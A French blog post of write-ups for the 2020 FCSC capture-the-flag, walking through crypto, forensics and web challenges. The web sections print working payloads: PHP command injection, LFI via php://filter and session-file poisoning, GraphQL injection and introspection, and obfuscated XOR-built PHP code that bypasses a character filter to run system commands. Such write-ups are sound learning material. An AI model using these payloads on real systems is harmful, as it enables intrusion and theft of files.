Table of Contents
Mon retour sur le CTF
C'est la seconde édition pour le FCSC réalisé par l'ANSSI, il c'est déroulé sur 10 jours avec une mise à disposition des épreuves par lots. Malheureusement je n'ai pas pu lui consacrer tout le temps que j'aurais voulu, et en même temps je concours en hors catégories donc c'est surtout pour le fun.
J'ai beaucoup aimé la catégorie Intro pour nous mettre en jambe sur des épreuves très simple qui portaient sur toutes les autres catégories. Pour ma part je me suis concentré sur les épreuves Web que j'ai beaucoup appréciées même si je n'ai pas flag la dernière : "Flag Checker" notamment par manque de temps.
Je suis satisfait de mon classement au général et dans ma catégorie "Hors Catégorie" je termine à une honnête 61 ieme place sur 664.
Bref encore un super moment c'est cool d'avoir des CTF qui durent longtemps aussi et à l'année prochaine sans faute !
Vous trouverez ici des writeups pour la grande partie des épreuves que j'ai validées, je mettrais à jour le post pour des raisons de mise en page et d'ajout de certain writeup. Plus j'ajouterais aussi des liens vers d'autres writeup écrit par d'autres participants histoire de compléter.
Si vous avez des questions/remarques n'hésitez pas à me contacter !
[Edit du 13/05/2020] : Ajout du lien vers un payload generator pour le challenge lipogrammeurs
[Edit du 06/05/2020] : Ajout de lien vers d'autres writeups
Autres writeups sur les challenges :
Babel Web
Babel Web était dans la catégorie Intro, ce qui signifie qu'il était loin d'être compliqué et servait plus d'échauffement. Une fois sur l'url communiquée voici ce que l'on voie :
Les indices nous suggèrent d'exécuter des commandes PHP et de lister le contenu du répertoire. Tout d'abord il faut afficher la source de la page d'accueil ce qui nous donne :
On repère tout de suite le lien commenté en HTML ?source=1 on va donc se rendre sur l'URL :
Ce qui est super intéressant on arrive à voir le code source de l'index, et surtout on remarque que si dans l'URL on ajoute un GET code, on pourra exécuter une commande system. Avant tout pour savoir quoi chercher on commence par une commande ls.
On voit clairement un fichier flag.php à la racine du répertoire courant ! Pour le lire un cat flag.php ne suffira pas car PHP exécutera le code, on va donc devoir le base64 encode avant. Pour ce faire rien de compliqué il suffit de lancer la commande suivante :
?code=cat%20flag.php%20|%20base64
Ce qui donne en résultat :
Ensuite il nous faut juste décoder le base64 pour afficher le flag et c'est good !
Randomito
Il va nous falloir ici trouver les valeurs générées aléatoirement par un code en python. Par chance le code nous est fourni, ce qui va largement nous aider. Première hypothèse une faiblesse dans la génération des INT via la fonction randint().
Rien ne semble indiqué une faiblesse pour la génération, on porte donc notre attention sur la section suivante :
a = int(input())
Pourquoi ? Oui il y a un cast pour forcer en entier, mais cela intrigue un peu. Une tite recherche sur Google et on trouve cette page : https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/ Dès lors plus de doute pour résoudre ce problème ça va être ultra simple ! Il suffit en fait de faire en input le nom des variables :
Et voilà une épreuve de valider en plus.
Annexe :
Code python :
#!/usr/local/bin/python2
import sys
import signal
from random import randint
# Time allowed to answer (seconds)
DELAY = 10
def handler(signum, frame):
raise Exception("Time is up!\n")
def p(s):
sys.stdout.write(s)
sys.stdout.flush()
def challenge():
for _ in range(10):
p("[+] Generating a 128-bit random secret (a, b)\n")
secret_a = randint(0, 2**64 - 1)
secret_b = randint(0, 2**64 - 1)
secret = "{:016x}{:016x}".format(secret_a, secret_b)
p("[+] Done! Now, try go guess it!\n")
p(">>> a = ")
a = int(input())
p(">>> b = ")
b = int(input())
check = "{:016x}{:016x}".format(a, b)
p("[-] Trying {}\n".format(check))
if check == secret:
flag = open("flag.txt").read()
p("[+] Well done! Here is the flag: {}\n".format(flag))
break
else:
p("[!] Nope, it started by {}. Please try again.\n".format(secret[:5]))
if __name__ == "__main__":
signal.alarm(DELAY)
signal.signal(signal.SIGALRM, handler)
try:
challenge()
except Exception, e:
exit(0)
else:
exit(0)
SMIC 1
Le challenge semble relativement simple et il l'est. Surtout vu les hints donnés, qui nous suggère de nous tourner vers python ou le logiciel sagemath pour faire des calculs. C'est avec ce dernier que je ne connaissais pas que j'ai réalisé le challenge.
En fait on nous demande de chiffrer un message avec la clé publique, on ne nous la donne pas directement, mais on nous confie les données de calcul.
Pour chiffrer un message RSA avec les éléments donnés il faut suivre l'opération suivante :
mod=(m^e, n)
Sur le logiciel sagemath voici ce que cela donne :
Pour valider il suffit de donner le flag FCSC{X} en remplaçant X par la chaîne en noire dans la capture ci-dessus, en effet cela est notre message chiffré.
Cap ou Pcap
Le titre nous laisse peu de place au hasard idem dès que l'on voit le fichier associé. On va donc commencer par démarrer notre meilleur ami dans ces cas là : Wireshark.
Voici à quoi cela ressemble à la première ouverture :
Beaucoup de trame TCP, un indice d'ailleurs nous invite à "suivre le TCP stream", ce qui avec cet outil il est un jeu d'enfant si vous en avez un peu l'habitude. L'idée est de demander au logiciel de suivre les paquets et de reconstituer potentiellement les fichiers échangés.
Pour ce faire il suffit de choisir un paquet TCP et de faire clique droit dessus et comme sur la capture ci-dessous de choisir "Suivre > Flux TCP". Voici ce que cela affiche :
On voit donc un échange de flux entre une machine locale et une autre distante, en bleu visiblement les commandes de l'attaquant et en rouge les réponses. Ce qui nous intéresse se trouve sur la fin avec un export du flag.zip vers une IP. Mais manque de chance le zip n'est pas dans ce flux... Par contre si on passe au suivant (en bas à droite de la capture vous avez un input Flux ce dernier est à 0, mais il va nous permettre de passer au suivant).
Le suivant est un code en hexa qui est en fait le résultat de la commande xxd que l'attaquant a exécuté. Il faut donc convertir cette suite hexa en binaire et récupérer notre fichier. Pour ce faire on va utiliser le super site du GCHQ : CyberChef avec la recette "From Hex" comme sur la capture suivante :
De là on voit dans la case output en effet qu'un fichier semble avoir été créé et on repère un flag.txt super intéressant. Si vous n'avez pas l'habitude sachez qu'un fichier qui commence par PK est en fait un zip. CyberChef nous permet de le télécharger en ayant un fichier valide. Une fois décompressé on obtient un fichier flag.txt, ce dernier contient le flag suivant qui nous permet de valider :
Flag de validation :
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
SuSHi
Un ultra simple challenge, il suffit de se connecter en SSH à la machine, une fois sur cette dernière de faire un ls -la pour afficher tous les fichiers. On remarque un fichier .flag, les commandes nano et vim n'étant pas disponible on passe sur un bon vieux cat. Et voilà un flag easy en plus.
Flag de validation :
FCSC{ca10e42620c4e3be1b9d63eb31c9e8ffe60ea788d3f4a8ae4abeac3dccdf5b21}
NES Forever
Un challenge web ultra simple pour se mettre très doucement en jambe, une fois sur l'application elle ressemble à ceci :
Le flag se trouve tout simplement dans le code source de la page HTML, un petit voir la source sur notre navigateur permet de le voir directement :
Flag de validation :
FCSC{a1cec1710b5a2423ae927a12db174337508f07b470fc0a29bfc73461f131e0c2}
Sbox
Vous aimez l'électronique ? Sur le challenge il faut en faire suivre la valeur des bits en entrées et en donné leurs valeurs en sortie. Les valeurs en entrée sont : 1 0 1 0. Le schéma suivant nous est fournis ainsi qu'un hint indispensable pour gagner un temps de fou : https://fr.wikipedia.org/wiki/Fonction_logique
Il suffit donc d'appliquer de suivre les différentes "opérations" que vont rencontrer nos valeurs en entrée. Ce qui donne ceci :
Ce qui est très drôle avec ce challenge c'est que vous ne pouviez soumettre que deux flags, donc il valait mieux être sur de votre réponse avant de la soumettre.
Flag de validation :
FCSC{0101}
Le Rat Conteur
Dans ce challenge on doit déchiffrer une image qui a été chiffré via aes-128-ctr. Et pour nous aider grandement on nous communique la clé et on nous informe que l'IV est nul. Petite chose à savoir quand on dit qu'un IV est nul c'est qu'il a une valeur finalement, c'est au final le plus "long" à trouver.
Il nous faut donc exécuter la commande suivante pour pouvoir déchiffrer notre image :
Le plus compliqué comme je l'ai dit juste avant c'est de trouver qu'un iv nul est en fait un grand nombre de 0. Une fois fait cela fonctionne et l'image déchiffré nous donne ceci :
Après pour récupérer le flag au choix à la mano ou via un OCR.
EnterTheDungeon
On attaque enfin mon domaine de prédilection les épreuves Web ! EnterTheDungeon a posé quelque souci à certain participant, en effet si les épreuves web ne sont pas vos préférés un peu de culture G est nécessaire pour la réaliser.
Tout d'abord voici la page d'accueil du site :
Une fois sur le site, on va comme d'habitude commencer par consulter le code source du site généré pour afficher la page HTML. Ce dernier nous révèle un élément important qu'un fichier check_secret.txt est présent et attend la validation des admins. Voici ce fichier :
Ce qui est très intéressant c'est la présence du if avec le md5($_GET['secret']) == $_GET['secret'], d'ailleurs ce qui a dû mettre sur une fausse piste beaucoup de monde c'est la présence du md5 au dessus en commenté. En effet ce n'est pas lui la cible de notre attaque, car il y a bien plus simple et rapide à mettre en oeuvre. Pourquoi il faut vous intéresser à l'égalité qui est avec deux signe =, ce qui veut dire que PHP va contrôler que les deux valeurs sont vrai pas qu'elles sont identiques. Ce qui est très bien expliqué dans de document de l'OWASP d'ailleurs : PHPMagicTricks-TypeJuggling
De ce constat il nous faut trouver une valeur qui une fois hashé en md5 serait vrai à elle même. C'est là qu'entre en jeu les "Magic Hashes" qui sont des hashs une fois généré valent vrai sur des comparaisons simple.
La valeur qui va nous permettre d'avoir notre "Magic Hashes" en md5 c'est : 0e215962017, ça vous ne pouvez pas l'inventer, mais sur le net vous trouverez plusieurs ressources qui aborde une liste des différents Magic Hashes.
Il nous suffit donc de renseigner cette valeur comme secret sur la page d'accueil :
On arrive donc sur la page ci-dessus qui nous dit OK le secret est correct ! Par contre pas l'ombre d'un flag... En effet si on lit attentivement le code au format txt on voit que lorsqu'on charge la page une variable de session est remise à 0. Il y a fort à parier que si on se rend ensuite sur la page d'accueil on aura le flag, ce que nous faisons et TADA :
Flag de validation :
FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}
Bestiary
Autre épreuve web qui m'a beaucoup plus par son originalité d'exploitation de la faille. On arrive sur le site ou l'on nous demande de choisir un monstre. Une fois fait on arrive sur la page suivante :
Une fois dessus on remarque très rapidement que le nom du monstre est passé en GET dans l'URL, ok pas de souci on essaye de le modifier par un truc random dans mon cas ' et cela me donne une jolie erreur :
L'application nous informe être incapable d'inclure le fichier ' ce qui est très intéressant on se profile donc vers une LFI, on va le confirmer avec un essai pour inclure le fichier de base dans ce genre de cas /etc/passwd :
Ce qui fonctionne à merveille ! De là on va conduire la suite de manière classique on va donc essayer de récupérer le code source du fichier index.php pour cela il ne faut surtout pas demander au code l'inclure tel que sinon il va tout simplement jouer le PHP dedans et on en aura pas la source. L'astuce ici est d'utiliser les wrappers PHP et plus particulièrement php://filter et dans notre exemple on va demander le monstre suivant :
?monster=php://filter/read=convert.base64-encode/resource=index.php
Il va donc en théorie lire notre fichier index.php, le convertir en base64 et nous afficher le base64 en texte :
Cela fonctionne parfaitement ! Le code décodé est le suivant :
<?php
session_save_path("./sessions/");
session_start();
include_once('flag.php');
?>
<html>
<head>
<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
var monster = document.getElementById("monster").value;
document.location.href = "index.php?monster="+monster;
}
</script>
<p>
<?php
$monster = NULL;
if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
$monster = $_SESSION['monster'];
if(isset($_GET['monster']) && !empty($_GET['monster']))
{
$monster = $_GET['monster'];
$_SESSION['monster'] = $monster;
}
if($monster !== NULL && strpos($monster, "flag") === False)
include($monster);
else
echo "Select a monster to read his description.";
?>
</p>
<select id="monster">
<option value="beholder">Beholder</option>
<option value="displacer_beast">Displacer Beast</option>
<option value="mimic">Mimic</option>
<option value="rust_monster">Rust Monster</option>
<option value="gelatinous_cube">Gelatinous Cube</option>
<option value="owlbear">Owlbear</option>
<option value="lich">Lich</option>
<option value="the_drow">The Drow</option>
<option value="mind_flayer">Mind Flayer</option>
<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>
J'ai mis en gras les éléments importants pour la résolution de l'épreuve. On constate la présence d'un fichier flag.php, qui sera donc notre cible, mais plus bas ont a une expression régulière qui nous dit que si le mot "flag" est présent dans le nom du monstre on aura pas d'include... Donc un filter sur flag en direct est impossible.
Par contre au tout début du code il y a ceci de très intéressant : session_save_path("./sessions/");
Ce qui veut dire que les fichiers de session PHP sont stockés dans ce répertoire, pour rappel un fichier de session PHP est nommé ainsi : sess_PHPSESSID par exemple : sess_11033c2a89d95f176e9b18e32b60a98d, du coup on sait ou sont stocké ces fichiers on va essayer d'en inclure un sait-on jamais ! Le PHPSESSID qui compose la fin du nom de fichier est tout simplement le cookie que vous avez dans votre navigateur qui porte le même nom.
Pour ce faire on donne le monstre :
?monster=./sessions/sess_11033c2a89d95f176e9b18e32b60a98d
Parfait ! On voit même que notre monstre est bien stocké en session ! Donc l'idée est de faire stocker un premier monstre avec du code PHP pour lire le fichier flag.php, qui ne sera pas inclue par l'index car contenant le mot flag dans le monstre. Par contre en seconde étape on va lui donner notre session qui du coup contiendra du code PHP et sera donc exécuté.
Première étape le code pour lire le flag :
<?php echo base64_encode(file_get_contents('flag.php')); ?>
Donc ce qui donne pour l'url :
?monster=%3C?php%20echo%20base64_encode(file_get_contents(%27flag.php%27));%20?%3E
On va donc consulter la page avec notre URL ci-dessus, une fois fait on relance un appel avec le monstre pour lire notre session :
?monster=./sessions/sess_11033c2a89d95f176e9b18e32b60a98d
Ce qui va nous afficher :
On a bien un base64 cela sent bon le flag, car lors du premier appel c'est notre payload PHP qui a été save dans le fichier de session ! Reste à le décoder pour s'en assurer :
Et en effet le flag est bien là parfait ! La manière de nous faire prendre la LFI était top ! cela pourrait même être conduit sans l'indice ./sessions si le chemin classique avait été laissé via /tmp.
Revision
Épreuve super originale ou l'idée est de réussir à uploader deux fichiers qui sont différents pour les comparer. L'upload est uniquement de fichier PDF (pas de souci), ils seront comparés via le code fourni en python. Le code va en fait comparer les empreintes SHA1 des fichiers, et regarder s'ils sont déjà dans la base de connaissance. S'ils sont déjà présents il ne lira pas le flag, mais s'ils sont non présents avec un hash identique pour les deux fichiers différents on aura le flag !
En effet dans le code python la section suivante est très intéressante :
attachments = set([f1_hash, f2_hash])
# Debug debug...
if len(attachments) < 2:
Car pour passer au debug et lire le flag, il faut que les hashs des fichiers soient identiques !
Il faut savoir que le MD5 et le SHA1 sont réputé non sûr et qu'il faut dorénavant les éviter tant que possible notamment, car des attaques par collision ont réussi. Ce qui veut dire que l'on pourrait faire passer un fichier pour un autre en arrivant à lui faire avoir la même empreinte... Après une recherche rapide sur Google on tombe sur https://shattered.io/ qui nous confirme qu'une collision entre deux fichiers PDF sur du SHA1 est tout à fait possible !
Premier essai en envoyant ceux du PoC, et là bravo les organisateurs, les documents sont déjà en base donc il va falloir les crafter vous-même ! À cet effet il y a un projet sur github : https://github.com/nneonneo/sha1collider ou directement un site en ligne pour le faire via deux images : http://alf.nu/SHA1.
Vous donnez deux JPG random pour générer vos PDF, ensuite on retourne sur l'application et on soumet la révision de nos deux documents et voici ce que l'on obtient :
Très belle épreuve !
RainbowPages
Cette épreuve web se compose d'un champ de recherche pour lister des recettes de cuisines. L'application ressemble à ceci :
On va donc simplement essayer de voir si le champ de recherche ne contiendrait pas une faille d'injection SQL ou autre type. Voici la requête envoyée au serveur par l'application :
Premier constat la recherche est encodé en base64 ce qui n'est pas commun et laisse supposer qu'on se trouve sur la bonne voie. Décodons donc ce base64 :
Oh la jolie recherche ! Visiblement on est en présence d'une application qui utilise GraphQL et la requête complète a été encodé dans le base64 ! Donc il n'est même plus question d'injection mais directement de trouver la bonne requête !
On va essayer en modifiant le allCooks et voir ce que cela donne cf la capture suivante :
Un message d'erreur plus qu'explicite apparait et nous suggère carrément d'essayer allFlags alors là on ne va pas s'en priver ! Du coup on écrit la query suivante, et on va guess que le champ qui nous intéresse est flag. Pour ma part c'est un coup de chance le nom du champ, mais il est tout à fait possible de le trouver de manière logique en réalisant des requêtes GraphQL pour obtenir la structure des querys et des éléments, pour cela je vous invite à lire le répo de l'ami swissky : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection.
Il nous reste plus cas remplacer notre base64 de notre requête dans la recherche et tada! le joli flag :
Très bonne épreuve pour une première mise en jambe en GraphQL si vous n'en aviez pas l'habitude !
RainbowPages v2
On prend la même interface que RainbowPages, mais avec un fonctionnement totalement différent, ou presque. En effet on va rester sur du GraphQL et avec un base64 de notre saisi de recherche. Cependant ce n'est plus toute la requête qui est envoyée, mais uniquement notre recherche. On va donc raisonnablement s'orienter vers un Injection dans la requête. Autant être honnête trouver la bonne injection m'a pris du temps et je sais en lisant le discord du ctf que certain ont perdu du temps, des nerfs et surement plein d'autre chose sur ce challenge.
En effet pour le réaliser, fallait savoir dans un premier temps prendre le temps d'industrialiser le payload. Car dans ce genre de cas ou l'on doit avancer pas à pas pour trouver une injection qui fonctionne cela fait gagner un temps précieux et surtout des nerfs.
A cet effet j'ai donc utilisé le code python suivant :
import requests
import base64
payload = base64.b64encode( PAYLOAD )
r = requests.get('http://challenges2.france-cybersecurity-challenge.fr:5007/index.php', params = {'search' : payload} )
print r.text
Pour toute la suite du writeup je ne mettrais que le PAYLOAD utilisé avant qu'il soit base64 encodé et le retour de la requête.
Première chose faire planter la requête si possible :
Payload :'e" lastname:"%e '
Réponse : {"errors":[{"message":"Field \"lastname\" is not defined by type StringFilter.","locations":[{"line":1,"column":55}]},{"message":"Field \"lastname\" is not defined by type StringFilter.","locations":[{"line":1,"column":100}]}]}
Hum... notre payload semble bien créer une erreur et nous permettre de demander par exemple un autre champs. La première chose que l'on doit dans ce genre de cas réussir c'est : "Faire en sorte de coder un payload qui s'auto annule, pour valider que l'on est capable de générer des requêtes valident". Et très honnêtement cela fut super long est pénible, je vous passe tous mes nombreux test et voici donc un payload qui fonctionne pour retourner un résultat de requête sans erreur :
Payload :'D%" }} ]}) {nodes { firstname, lastname, id, nodeId}} } # '
Réponse : {"data":{"allCooks":{"nodes":[{"firstname":"Delbert","lastname":"Kshlerin","id":7,"nodeId":"WyJjb29rcyIsN10="}]}}}
Petites explication, le # à la fin nous sert de commentaire pour faire oublier tout le reste de la query. Ensuite le D et ce que l'on aurait pu saisir dans le champ de recherche comme tout user lambda. La partie %" }} ]}) vient fermer la recherche on peut estimer que donc le champ de recherche ressemblait à un truc du genre : {[{firstname:{like:"%D%" }} ]}. Petite astuce pour vous aider dans ces cas là essayer de visualiser la requête qui serait exécuté sur le serveur et d'y intégrer votre payload et de voir ce qui coince. Et enfin ceci : ) {nodes { firstname, lastname, id, nodeId}} } nous permet de finir une requête valide en demandant de voir les champs firstname, lastname, id et nodeId.
On a donc une injection qui fonctionne parfaitement ! Génial il y a plus cas ! J'ai tenté le même que sur le RainbowPages, mais les organisateurs ont changé la query pour lister les flags. Reste à nous de la trouver car pour le moment on a pas de message d'erreur pour nous dire que l'on pourrait utiliser tel ou tel query. Mais merci à GraphQL qui va tout simplement nous répondre avec le payload suivant :
Payload : 'q%" }} ]}) {nodes { firstname, lastname, id, nodeId}}, __schema{types{name} } } # '
Réponse :{"data":{"allCooks":{"nodes":[]},"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"Int"},{"name":"Cursor"},{"name":"CooksOrderBy"},{"name":"CookCondition"},{"name":"String"},{"name":"CookFilter"},{"name":"IntFilter"},{"name":"Boolean"},{"name":"StringFilter"},{"name":"CooksConnection"},{"name":"Cook"},{"name":"CooksEdge"},{"name":"PageInfo"},{"name":"FlagNotTheSameTableNamesOrderBy"},{"name":"FlagNotTheSameTableNameCondition"},{"name":"FlagNotTheSameTableNameFilter"},{"name":"FlagNotTheSameTableNamesConnection"},{"name":"FlagNotTheSameTableName"},{"name":"FlagNotTheSameTableNamesEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
On repère donc rapidement FlagNotTheSameTableName qui est super intéressante, on va partir de l'hypothèse que les developpeurs on gardé un morceau de logique en testant le payload suivant :
Payload : 'q%" }} ]}) {nodes { firstname, lastname, id, nodeId}}, FlagNotTheSameTableName {nodes{flag} }} #'
La réponse :
Cette fois-ci cela nous confirme qu'ils ont gardé un morceau de logique et va demander la liste de tous les flags :
Payload : 'q%" }} ]}) {nodes { firstname, lastname, id, nodeId}}, allFlagNotTheSameTableNames{nodes{flagNotTheSameFieldName} }} # '
Réponse : {"data":{"allCooks":{"nodes":[]},"allFlagNotTheSameTableNames":{"nodes":[{"flagNotTheSameFieldName":"FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}"}]}}}
Et voilà super intéressant comme challenge une fois encore bravo aux organisateurs !
Lipogrammeurs
Et on fini par l'épreuve Web qui a encore du en rendre certain totalement dingo... Et je les comprends, longue épreuve aussi pour réussir le payload, mais c'est ni plus ni moins un classique du genre. Quand on arrive sur l'épreuve on voit ceci :
Il faut ici se concentrer sur le preg_match qui va nous interdire tous les chiffres et les lettres aeiouy. On est limité à 250 caractères, et si notre chaine passe les restrictions elle sera évalué via la fonction eval() de PHP, qui s'il trouve du code PHP dedans va l'exécuter.
Donc il nous faut réussir à faire une chaine de caractère qui sera donné dans le GET code, en moins de 250 caractères et sans plein de lettres très importantes... Comme je l'ai dit en préambule c'est un classique et donc il y a pas mal de ressource la dessus notamment ici : https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
Il ne suffira pas de copier/coller bêtement le payload pour flaguer cela. On va devoir en fait être capable de créer un payload qui va fonctionner, pour m'aider à aller plus vite et gagner un temps précieux, j'ai fait ce petit bout de code en PHP (Edit: voici une version complète pour aider à créer des payload https://github.com/inaz0/EasyPayloads/tree/master/php/eval_payload_with_regex_restriction) :
<?php
$charNeed = 'E';
$start=0;
$end=255;
while( $start <= $end ){
$carac = urldecode('%'.$start);
if( $carac == '"' ){}
else{
if( $carac == "'" )
$carac = "\\'";
$c = ( $carac ^ '`' );
echo $c;
if( $c != '"' ){
$test = '$_="'.( $carac ^ '`' ).'";';
eval($test);
if( $_ === $charNeed )
echo 'ok, value : '.$start.PHP_EOL;
else
echo $_.PHP_EOL;
}
}
$start++;
}
L'idée du code et de donner une lettre que l'on cherche à faire passer selon l'expression suivante via l'eval : ( 'X' ^ '`') : ici on va réaliser un XOR entre X et le caractère `, ce que fait le code c'est qu'il va tester tous les caractères ascii pour les soumettres au XOR à la place de X. Cela en réalisant un urldecode sur la valeur %XX, ou XX est la valeur ascii du code. Si le résultat dans la variable $_ et le caractère voulu alors on a notre code ascii pour le générer et passer notre preg_match.
Note importante on ne va pas perdre de temps à encoder des caractères autorisés donc dans les payload vous trouverez des m des p etc. Autre précision PHP n'est pas sensible à la casse pour l'appel des fonctions.
Une fois que cela tourne plutôt pas mal il nous reset à exécuter les requêtes suivantes sur l'application avec pour valeur de code :
On va lister le répertoire courant
$__%3d'sc'.('%01'^'`').'nd'.('%29'^'`').('%12'^'`').'';$___%3d'v'.('%01'^'`').'r_d'.('%15'^'`').'mp';$___($__('.'.'%2f'));
Ce qui donne en réponse :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(49) ".flag.inside.J44kYHYL3asgsU7R9zHWZXbRWK7JjF7E.php" [3]=> string(9) "index.php" }
Ensuite on va tester des appels system directement, en ajoutant un autre GET simple c le payload :
$__%3d's'.('%19'^'`').'st'.('%05'^'`').'m';$___%3d'v'.('%01'^'`').'r_d'.('%15'^'`').'mp';$____%3d'_G'.('%25'^'`').'T';$_____%3d$$____;$___($__($_____["c"]));&c=ls
La réponse :
index.php string(9) "index.php"
Pourquoi passer par un autre GET ? Car tout simplement celui-ci ne sera pas soumis au filtrage et va nous permettre de passer tous les caractères que l'on veut sans se soucier de quoi que se soit.
Ok c'est nickel on peut donc exécuter une commande système, reste à lire le flag qui comme on l'a vu plus haut est dans le fichier .flag.inside.J44kYHYL3asgsU7R9zHWZXbRWK7JjF7E.php pour se faire on va utiliser le payload suivant :
$__%3d's'.('%19'^'`').'st'.('%05'^'`').'m';$___%3d'v'.('%01'^'`').'r_d'.('%15'^'`').'mp';$____%3d'_G'.('%25'^'`').'T';$_____%3d$$____;$___($__($_____["c"]));&c=cat .flag.inside.J44kYHYL3asgsU7R9zHWZXbRWK7JjF7E.php | base64
L'idée étant de faire un cat sur le fichier puis en base64 encode au cas ou il y aurait du code PHP dedans. La réponse est la suivante :
PD9waHAKCS8vIFdlbGwgZG9uZSEhIEhlcmUgaXMgdGhlIGZsYWc6CgkvLyBGQ1NDezUzZDE5NTUy MmExNWFhMGNlNjc5NTRkYzFkZTdjNTA2MzE3NGE3MjFlZTVhYTkyNGE0YjliMTViYTFhYjY5NDh9 Cg== string(4) "Cg=="
Et si on décode le base64 on obtient notre flag :
Flag de validation :
FCSC{53d195522a15aa0ce67954dc1de7c5063174a721ee5aa924a4b9b15ba1ab6948}
Très bon challenge aussi les classiques sont toujous très intéressant.